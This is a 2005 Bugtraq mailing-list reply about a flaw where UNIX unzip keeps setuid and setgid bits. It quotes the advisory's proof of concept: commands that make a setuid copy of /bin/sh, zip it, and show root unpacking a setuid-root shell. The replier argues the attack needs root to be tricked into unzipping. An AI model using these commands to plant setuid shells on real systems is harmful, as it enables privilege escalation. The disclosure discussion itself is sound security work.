bugtraq - Re: 7a69Adv#22 - UNIX unzip keep setuid and setgid files

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Date: Mon, 28 Feb 2005 17:20:10 -0500
From: John Simpson <jms1@...1.net>
To: bugtraq@...urityfocus.com
Subject: Re: 7a69Adv#22 - UNIX unzip keep setuid and setgid files

On 28 Feb 2005, at 08:17, Albert Puigsech Galicia wrote:
>
> III. Exploit
>
> It's realy easy to test this vulnerability. You can create a malicious 
> ZIP
> file following this example:
>
>  $ cp /bin/sh .
>  $ chmod 4777 sh
>  $ zip malicious.zip sh
>
>
> When another user (including root) unpacks the file, a setuid shell 
> file will
> be created without any warning, as you can see here:
>
>  # id
>  # unzip malicious.zip
>  Archive:  malicious.zip
>   inflating: sh
>  # ls -l sh
>  -rwsrwxrwx  1 root root 705148 Jan 16 17:04 sh

this only works if the user un-zipping the file is already root. 
otherwise it creates an "sh" binary which is setuid to the user who 
unzipped the file. this kind of "exploit" is only useful if you can 
somehow trick root into unzipping the file- it cannot be used to gain 
root on a machine where you don't already have it.

although i will agree that having the unzip program warn the user when 
creating a setuid or setgid file is a good idea in general.

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